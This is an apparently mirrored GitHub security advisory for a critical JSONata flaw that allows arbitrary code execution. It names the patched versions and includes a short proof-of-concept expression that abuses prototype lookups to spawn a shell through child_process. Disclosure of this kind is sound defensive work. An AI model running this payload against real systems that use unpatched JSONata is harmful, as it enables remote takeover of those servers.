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JSONata: Arbitrary Code Execution via crafted JSONata expressions

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-8gq3-vp5j-2grp

Published

## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ```

Source published
21 Aug 2026 20:57:07 UTC
Source modified
21 Aug 2026 21:10:59 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL

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